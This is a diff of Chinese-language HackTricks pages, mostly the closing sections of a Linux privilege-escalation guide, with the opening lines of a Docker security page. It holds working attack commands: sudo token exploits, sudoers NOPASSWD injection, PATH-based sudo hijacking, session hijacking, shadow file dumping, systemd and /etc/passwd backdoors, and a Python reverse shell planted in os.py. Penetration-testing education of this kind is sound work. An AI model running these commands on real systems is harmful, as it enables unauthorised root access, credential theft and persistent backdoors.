bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
sudo su
|
||||
```
|
||||
* 第二个漏洞 (`exploit_v2.sh`) 将在 _/tmp_ 目录中创建一个由 root 拥有 setuid 权限的 sh shell
|
||||
* 第二个漏洞 (`exploit_v2.sh`) 将在 _/tmp_ 目录中创建一个由 root 拥有并设置了 setuid 的 sh shell
|
||||
```bash
|
||||
bash exploit_v2.sh
|
||||
/tmp/sh -p
|
||||
```
|
||||
* 第三个漏洞利用 (`exploit_v3.sh`) 将创建一个 sudoers 文件,使 sudo 令牌永久有效,并允许所有用户使用 sudo
|
||||
* 第三个漏洞利用 (`exploit_v3.sh`) 将创建一个 sudoers 文件,使 sudo 令牌永久化,并允许所有用户使用 sudo
|
||||
```bash
|
||||
bash exploit_v3.sh
|
||||
sudo su
|
||||
```
|
||||
### /var/run/sudo/ts/\<用户名>
|
||||
|
||||
如果您对该文件夹或文件夹中的任何已创建文件具有**写权限**,则可以使用二进制文件[**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) **为用户和PID创建sudo令牌**。\
|
||||
例如,如果您可以覆盖文件 _/var/run/sudo/ts/sampleuser_,并且您以PID 1234的用户身份拥有一个shell,您可以执行以下操作**获取sudo特权**,而无需知道密码:
|
||||
如果您对该文件夹或文件夹中创建的任何文件具有**写权限**,则可以使用二进制文件[**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) **为用户和PID创建sudo令牌**。\
|
||||
例如,如果您可以覆盖文件 _/var/run/sudo/ts/sampleuser_,并且您拥有PID为1234的该用户的shell,您可以执行以下操作**获取sudo特权**,而无需知道密码:
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
```
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
文件 `/etc/sudoers` 和 `/etc/sudoers.d` 目录中的文件配置了谁可以使用 `sudo` 以及如何使用。这些文件**默认情况下只能被 root 用户和 root 组读取**。\
|
||||
**如果**你能**读取**这些文件,你可能能够**获取一些有趣的信息**,如果你能**写入**任何文件,你将能够**提升权限**。
|
||||
文件 `/etc/sudoers` 和目录 `/etc/sudoers.d` 中的文件配置了谁可以使用 `sudo` 以及如何使用。这些文件**默认情况下只能被 root 用户和 root 组读取**。\
|
||||
**如果**你可以**读取**这个文件,你可能能够**获取一些有趣的信息**,如果你可以**写入**任何文件,你将能够**提升权限**。
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
```
|
||||
如果你可以写入,你就可以滥用这个权限
|
||||
如果你可以写入,你就可以滥用这个权限。
|
||||
```bash
|
||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
|
||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
|
||||
|
@ -997,9 +998,9 @@ permit nopass demo as root cmd vim
|
|||
```
|
||||
### Sudo劫持
|
||||
|
||||
如果你知道一个**用户通常连接到一台机器并使用 `sudo`** 来提升权限,而你已经在该用户上下文中获得了一个 shell,你可以**创建一个新的 sudo 可执行文件**,该文件将以 root 身份执行你的代码,然后执行用户的命令。然后,**修改用户上下文中的 $PATH**(例如在 .bash\_profile 中添加新路径),这样当用户执行 sudo 时,你的 sudo 可执行文件就会被执行。
|
||||
如果你知道一个**用户通常连接到一台机器并使用 `sudo`** 来提升权限,而你已经在该用户上下文中获得了一个 shell,你可以**创建一个新的sudo可执行文件**,该文件将以 root 权限执行你的代码,然后执行用户的命令。然后,**修改用户上下文中的 $PATH**(例如在 .bash\_profile 中添加新路径),这样当用户执行 sudo 时,你的 sudo 可执行文件就会被执行。
|
||||
|
||||
请注意,如果用户使用不同的 shell(不是 bash),你将需要修改其他文件以添加新路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py) 中找到另一个示例。
|
||||
请注意,如果用户使用不同的 shell(不是 bash),你将需要修改其他文件以添加新路径。例如 [sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`、`~/.zshrc`、`~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py) 中找到另一个示例。
|
||||
|
||||
或者运行类似以下内容:
|
||||
```bash
|
||||
|
@ -1020,12 +1021,12 @@ sudo ls
|
|||
|
||||
### ld.so
|
||||
|
||||
文件`/etc/ld.so.conf`指示**加载的配置文件的位置**。通常,此文件包含以下路径:`include /etc/ld.so.conf.d/*.conf`
|
||||
文件`/etc/ld.so.conf`指示**加载的配置文件来源**。通常,此文件包含以下路径:`include /etc/ld.so.conf.d/*.conf`
|
||||
|
||||
这意味着将读取`/etc/ld.so.conf.d/*.conf`中的配置文件。这些配置文件**指向其他文件夹**,其中将**搜索库**。例如,`/etc/ld.so.conf.d/libc.conf`的内容是`/usr/local/lib`。**这意味着系统将在`/usr/local/lib`内搜索库**。
|
||||
|
||||
如果由于某种原因**用户对所指示的任何路径**:`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/`内的任何文件或`/etc/ld.so.conf.d/*.conf`内的配置文件夹中的任何文件夹具有写权限,他可能能够升级权限。\
|
||||
查看如何利用此错误配置的方法,请参阅以下页面:
|
||||
如果由于某种原因**用户对所指示的任何路径**:`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/`内的任何文件或`/etc/ld.so.conf.d/*.conf`内配置文件中的任何文件夹具有写权限,他可能能够升级权限。\
|
||||
查看如何在以下页面利用此错误配置:
|
||||
|
||||
{% content-ref url="ld.so.conf-example.md" %}
|
||||
[ld.so.conf-example.md](ld.so.conf-example.md)
|
||||
|
@ -1042,7 +1043,7 @@ linux-gate.so.1 => (0x0068c000)
|
|||
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
|
||||
/lib/ld-linux.so.2 (0x005bb000)
|
||||
```
|
||||
通过将 lib 复制到 `/var/tmp/flag15/`,它将被程序在此位置使用,如`RPATH`变量中指定的那样。
|
||||
通过将lib复制到`/var/tmp/flag15/`中,它将被程序在此位置使用,如`RPATH`变量中指定的那样。
|
||||
```
|
||||
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
|
||||
|
||||
|
@ -1066,7 +1067,7 @@ execve(file,argv,0);
|
|||
```
|
||||
## 权限
|
||||
|
||||
Linux 权限提供了一种将**可用的 root 权限的子集**提供给一个进程的方法。这有效地将 root **权限分解为更小和独特的单元**。然后可以独立地将这些单元授予进程。这样,完整的权限集就减少了,降低了利用风险。\
|
||||
Linux 权限提供了一种将**可用的 root 权限的子集**分配给一个进程的方法。这有效地将 root **权限分解为更小和独特的单元**。然后可以独立地将这些单元授予进程。这样,完整的权限集就减少了,降低了利用风险。\
|
||||
阅读以下页面以**了解更多关于权限和如何滥用它们**:
|
||||
|
||||
{% content-ref url="linux-capabilities.md" %}
|
||||
|
@ -1075,14 +1076,14 @@ Linux 权限提供了一种将**可用的 root 权限的子集**提供给一个
|
|||
|
||||
## 目录权限
|
||||
|
||||
在一个目录中,**"执行"**位意味着受影响的用户可以**cd**进入文件夹。\
|
||||
**"读取"**位意味着用户可以**列出**文件,而**"写入"**位意味着用户可以**删除**和**创建**新的**文件**。
|
||||
在一个目录中,**"执行"** 位意味着受影响的用户可以**cd**进入文件夹。\
|
||||
**"读"** 位意味着用户可以**列出**文件,而**"写"** 位意味着用户可以**删除**和**创建**新的**文件**。
|
||||
|
||||
## ACLs
|
||||
|
||||
访问控制列表(ACLs)代表了自主权限的第二层,能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定用户的权限来增强对文件或目录访问的控制,这些用户不是所有者或组的一部分。这种**粒度确保了更精确的访问管理**。更多详细信息可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。
|
||||
访问控制列表(ACLs)代表了可**覆盖传统 ugo/rwx 权限**的次级自由权限层。这些权限通过允许或拒绝对不是所有者或组成员的特定用户的权限,增强了对文件或目录访问的控制。这种**粒度确保了更精确的访问管理**。更多详细信息可以在[**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux)找到。
|
||||
|
||||
**给**用户"kali"对一个文件授予读取和写入权限:
|
||||
**授予**用户"kali"对文件的读写权限:
|
||||
```bash
|
||||
setfacl -m u:kali:rw file.txt
|
||||
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
|
||||
|
@ -1095,8 +1096,8 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
|||
```
|
||||
## 打开shell会话
|
||||
|
||||
在**旧版本**中,您可能会**劫持**不同用户(**root**)的某些**shell**会话。\
|
||||
在**最新版本**中,您只能**连接到自己用户的screen会话**。但是,您可能会在会话中找到**有趣的信息**。
|
||||
在旧版本中,您可能会劫持不同用户(root)的某些shell会话。\
|
||||
在最新版本中,您只能连接到自己用户的screen会话。但是,您可能会在会话中找到有趣的信息。
|
||||
|
||||
### screen会话劫持
|
||||
|
||||
|
@ -1113,11 +1114,11 @@ screen -dr <session> #The -d is to detach whoever is attached to it
|
|||
screen -dr 3350.foo #In the example of the image
|
||||
screen -x [user]/[session id]
|
||||
```
|
||||
## tmux会话劫持
|
||||
## tmux 会话劫持
|
||||
|
||||
这是**旧版tmux版本**的一个问题。我无法劫持由root创建的tmux (v2.1)会话,作为非特权用户。
|
||||
这是**旧版 tmux**的一个问题。我无法劫持一个由 root 创建的 tmux 会话(v2.1),作为一个非特权用户。
|
||||
|
||||
**列出tmux会话**
|
||||
**列出 tmux 会话**
|
||||
```bash
|
||||
tmux ls
|
||||
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
|
||||
|
@ -1135,14 +1136,14 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
|
|||
# If you are root or devs you can access it
|
||||
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
||||
```
|
||||
查看**HTB的Valentine box**作为一个例子。
|
||||
查看**HTB的情人节盒子**作为一个例子。
|
||||
|
||||
## SSH
|
||||
|
||||
### Debian OpenSSL可预测PRNG - CVE-2008-0166
|
||||
|
||||
所有在基于Debian的系统(Ubuntu,Kubuntu等)上生成的SSL和SSH密钥在2006年9月至2008年5月13日之间可能受到此漏洞的影响。\
|
||||
当在这些操作系统上创建新的ssh密钥时,会出现此漏洞,因为**只有32,768种变化是可能的**。这意味着所有可能性都可以被计算出来,**拥有ssh公钥后,你可以搜索相应的私钥**。你可以在这里找到计算出的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
当在这些操作系统上创建新的ssh密钥时,会出现此漏洞,因为**只有32,768种变化是可能的**。这意味着所有可能性都可以被计算出来,**拥有ssh公钥后,您可以搜索相应的私钥**。您可以在这里找到计算出的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH有趣的配置值
|
||||
|
||||
|
@ -1152,16 +1153,16 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
|||
|
||||
### PermitRootLogin
|
||||
|
||||
指定是否允许root使用ssh登录,默认值为 `no`。可能的值:
|
||||
指定是否允许root使用ssh登录,默认为 `no`。可能的值:
|
||||
|
||||
* `yes`: root可以使用密码和私钥登录
|
||||
* `without-password` 或 `prohibit-password`: root只能使用私钥登录
|
||||
* `without-password`或`prohibit-password`: root只能使用私钥登录
|
||||
* `forced-commands-only`: root只能使用私钥登录,如果指定了命令选项
|
||||
* `no` : 否
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
指定包含可用于用户身份验证的公钥的文件。它可以包含像`%h`这样的标记,它将被主目录替换。**你可以指定绝对路径**(从`/`开始)或**相对于用户主目录的相对路径**。例如:
|
||||
指定包含可用于用户身份验证的公钥的文件。它可以包含诸如`%h`这样的令牌,该令牌将被主目录替换。**您可以指定绝对路径**(从`/`开始)或**相对于用户主目录的相对路径**。例如:
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
|
@ -1169,19 +1170,19 @@ AuthorizedKeysFile .ssh/authorized_keys access
|
|||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
SSH代理转发允许您**使用本地SSH密钥**,而不是让密钥(没有密码!)保留在服务器上。因此,您将能够通过ssh**跳转**到一个主机,然后从那里**使用**位于您**初始主机**中的**密钥**跳转到另一个主机。
|
||||
SSH代理转发允许您**使用本地SSH密钥**,而不是让密钥(没有密码!)保留在您的服务器上。因此,您将能够通过ssh**跳转**到一个主机,然后从那里**使用**位于您**初始主机**中的**密钥****跳转到另一个**主机。
|
||||
|
||||
您需要在`$HOME/.ssh.config`中设置此选项,如下所示:
|
||||
```
|
||||
Host example.com
|
||||
ForwardAgent yes
|
||||
```
|
||||
注意,如果`Host`是`*`,每次用户跳转到另一台机器时,该主机将能够访问密钥(这是一个安全问题)。
|
||||
请注意,如果`Host`是`*`,每次用户跳转到另一台机器,该主机将能够访问密钥(这是一个安全问题)。
|
||||
|
||||
文件`/etc/ssh_config`可以**覆盖**这些**选项**,允许或拒绝此配置。\
|
||||
文件`/etc/sshd_config`可以**允许**或**拒绝**ssh-agent转发,关键字是`AllowAgentForwarding`(默认为允许)。
|
||||
|
||||
如果发现在环境中配置了转发代理,请阅读以下页面,**您可能可以利用它来提升权限**:
|
||||
如果发现在环境中配置了转发代理,请阅读以下页面,因为**您可能可以利用它来提升权限**:
|
||||
|
||||
{% content-ref url="ssh-forward-agent-exploitation.md" %}
|
||||
[ssh-forward-agent-exploitation.md](ssh-forward-agent-exploitation.md)
|
||||
|
@ -1204,13 +1205,13 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
|||
#Shadow equivalent files
|
||||
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
|
||||
```
|
||||
在某些情况下,您可以在 `/etc/passwd`(或等效)文件中找到**密码哈希值**
|
||||
在某些情况下,您可以在 `/etc/passwd`(或等效文件)中找到**密码哈希值**
|
||||
```bash
|
||||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
```
|
||||
### 可写的 /etc/passwd
|
||||
|
||||
首先,使用以下命令之一生成一个密码。
|
||||
首先,使用以下命令之一生成密码。
|
||||
```
|
||||
openssl passwd -1 -salt hacker hacker
|
||||
mkpasswd -m SHA-512 hacker
|
||||
|
@ -1237,7 +1238,7 @@ su - dummy
|
|||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
```
|
||||
例如,如果机器正在运行一个 **tomcat** 服务器,并且你可以 **修改位于 /etc/systemd/ 内的 Tomcat 服务配置文件**,那么你可以修改以下行:
|
||||
例如,如果机器正在运行一个**tomcat**服务器,并且你可以**修改位于 /etc/systemd/ 内的 Tomcat 服务配置文件**,那么你可以修改以下行:
|
||||
```
|
||||
ExecStart=/path/to/backdoor
|
||||
User=root
|
||||
|
@ -1245,7 +1246,7 @@ Group=root
|
|||
```
|
||||
### 检查文件夹
|
||||
|
||||
以下文件夹可能包含备份或有趣的信息:**/tmp**,**/var/tmp**,**/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(最后一个可能无法读取,但请尝试)
|
||||
以下文件夹可能包含备份或有趣的信息:**/tmp**,**/var/tmp**,**/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root**(最后一个可能无法读取,但尝试一下)
|
||||
```bash
|
||||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||||
```
|
||||
|
@ -1301,12 +1302,12 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
|
|||
### 已知包含密码的文件
|
||||
|
||||
阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码,它搜索**可能包含密码的多个文件**。\
|
||||
另一个有趣的工具是:[**LaZagne**](https://github.com/AlessandroZ/LaZagne),它是一个开源应用程序,用于检索存储在 Windows、Linux 和 Mac 本地计算机上的大量密码。
|
||||
另一个有趣的工具是:[**LaZagne**](https://github.com/AlessandroZ/LaZagne),它是一个开源应用程序,用于检索存储在 Windows、Linux 和 Mac 本地计算机上的许多密码。
|
||||
|
||||
### 日志
|
||||
|
||||
如果你能读取日志,可能会发现**其中包含有趣/机密信息**。日志越奇怪,可能就越有趣。\
|
||||
此外,一些“**不好的**”配置(后门?)**审计日志**可能允许你在审计日志中**记录密码**,如此文章中所述:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
|
||||
如果你能读取日志,可能会发现其中包含**有趣/机密信息**。日志越奇怪,可能就越有趣。\
|
||||
此外,一些“**不好的**”配置(后门?)**审计日志**可能允许你在审计日志中**记录密码**,就像在这篇文章中所解释的那样:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
|
@ -1327,13 +1328,13 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
|||
### 通用凭证搜索/正则表达式
|
||||
|
||||
您还应检查包含单词“**password**”在其**名称**或内容中的文件,并在日志中检查IP和电子邮件,或哈希正则表达式。\
|
||||
我不会在这里列出如何执行所有这些操作,但如果您感兴趣,可以查看[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) 执行的最后检查。
|
||||
我不会在这里列出如何执行所有这些操作,但如果您感兴趣,可以查看[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)执行的最后一些检查。
|
||||
|
||||
## 可写文件
|
||||
|
||||
### Python库劫持
|
||||
|
||||
如果您知道一个Python脚本将从**哪里**执行,并且您**可以在**该文件夹中写入或者您可以**修改Python库**,您可以修改OS库并在其中设置后门(如果您可以在Python脚本将要执行的位置写入,请复制并粘贴os.py库)。
|
||||
如果您知道一个Python脚本将从**哪里**执行,并且您**可以在**该文件夹中写入,或者您可以**修改Python库**,您可以修改OS库并在其中设置后门(如果您可以在Python脚本将要执行的位置写入,请复制并粘贴os.py库)。
|
||||
|
||||
要**设置库后门**,只需在os.py库的末尾添加以下行(更改IP和端口):
|
||||
```python
|
||||
|
@ -1341,7 +1342,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
|||
```
|
||||
### Logrotate利用
|
||||
|
||||
`logrotate`中的一个漏洞允许具有对日志文件或其父目录的**写权限**的用户可能获得提升的特权。这是因为`logrotate`通常以**root**身份运行,可以被操纵以执行任意文件,特别是在类似_**/etc/bash\_completion.d/**_这样的目录中。重要的是不仅要检查_var/log_中的权限,还要检查应用日志轮换的任何目录中的权限。
|
||||
`logrotate`中的一个漏洞允许具有对日志文件或其父目录的**写权限**的用户可能获得提升的特权。这是因为`logrotate`通常以**root**身份运行,可以被操纵以执行任意文件,特别是在类似_**/etc/bash\_completion.d/**_这样的目录中。重要的是要检查权限不仅在_/var/log_中,还要在应用日志轮换的任何目录中。
|
||||
|
||||
{% hint style="info" %}
|
||||
此漏洞影响`logrotate`版本`3.18.0`及更旧版本
|
||||
|
@ -1357,7 +1358,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
|||
|
||||
**漏洞参考:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
如果出于任何原因,用户能够向_**/etc/sysconfig/network-scripts**_中**写入**一个`ifcf-<whatever>`脚本,**或者**可以**调整**现有脚本,那么您的**系统就被入侵**了。
|
||||
如果出于任何原因,用户能够**写入**一个`ifcf-<whatever>`脚本到_/etc/sysconfig/network-scripts_ **或者**可以**调整**一个现有的脚本,那么您的**系统就被入侵**了。
|
||||
|
||||
网络脚本,例如_ifcg-eth0_用于网络连接。它们看起来完全像.INI文件。但是,在Linux上,它们是通过Network Manager(dispatcher.d)\~源\~的。
|
||||
|
||||
|
@ -1371,9 +1372,9 @@ DEVICE=eth0
|
|||
```
|
||||
### **init、init.d、systemd 和 rc.d**
|
||||
|
||||
目录 `/etc/init.d` 存放着 System V init(SysVinit)的**脚本**,这是经典的 Linux 服务管理系统。它包括用于 `start`、`stop`、`restart` 以及有时 `reload` 服务的脚本。这些脚本可以直接执行,也可以通过 `/etc/rc?.d/` 中的符号链接执行。在 Redhat 系统中,另一个路径是 `/etc/rc.d/init.d`。
|
||||
目录 `/etc/init.d` 存放着 System V init(SysVinit)的脚本,这是经典的 Linux 服务管理系统。它包括用于 `start`、`stop`、`restart` 以及有时候 `reload` 服务的脚本。这些脚本可以直接执行,也可以通过在 `/etc/rc?.d/` 中找到的符号链接来执行。在 Redhat 系统中的另一条路径是 `/etc/rc.d/init.d`。
|
||||
|
||||
另一方面,`/etc/init` 与 **Upstart** 相关,这是由 Ubuntu 引入的较新的**服务管理**,使用配置文件来进行服务管理任务。尽管转向了 Upstart,但由于 Upstart 中的兼容性层,SysVinit 脚本仍与 Upstart 配置一起使用。
|
||||
另一方面,`/etc/init` 与 **Upstart** 相关联,这是由 Ubuntu 引入的较新的服务管理系统,使用配置文件来进行服务管理任务。尽管过渡到 Upstart,SysVinit 脚本仍然与 Upstart 配置一起使用,因为 Upstart 中有一个兼容层。
|
||||
|
||||
**systemd** 是一种现代化的初始化和服务管理器,提供高级功能,如按需启动守护进程、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 用于分发软件包,以及 `/etc/systemd/system/` 用于管理员修改,简化了系统管理过程。
|
||||
|
||||
|
@ -1406,7 +1407,7 @@ DEVICE=eth0
|
|||
|
||||
[静态impacket二进制文件](https://github.com/ropnop/impacket\_static\_binaries)
|
||||
|
||||
## Linux/Unix 权限提升工具
|
||||
## Linux/Unix 提权工具
|
||||
|
||||
### **查找 Linux 本地权限提升向量的最佳工具:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
|
@ -1421,7 +1422,7 @@ DEVICE=eth0
|
|||
**EvilAbigail (物理访问):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**更多脚本的汇编**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
## 参考资料
|
||||
## 参考
|
||||
|
||||
* [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
|
||||
* [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\
|
||||
|
@ -1441,16 +1442,17 @@ DEVICE=eth0
|
|||
* [https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
* [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Docker安全
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并实践AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并实践GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -22,22 +23,22 @@
|
|||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
|
||||
|
||||
## **基本Docker引擎安全性**
|
||||
## **基本Docker引擎安全**
|
||||
|
||||
**Docker引擎**利用Linux内核的**命名空间**和**Cgroups**来隔离容器,提供基本的安全层。通过**降低权限**、**Seccomp**和**SELinux/AppArmor**提供额外保护,增强容器隔离性。**认证插件**可以进一步限制用户操作。
|
||||
**Docker引擎**利用Linux内核的**命名空间**和**Cgroups**来隔离容器,提供基本的安全层。通过**Capabilities dropping**、**Seccomp**和**SELinux/AppArmor**提供额外保护,增强容器隔离。**认证插件**可以进一步限制用户操作。
|
||||
|
||||
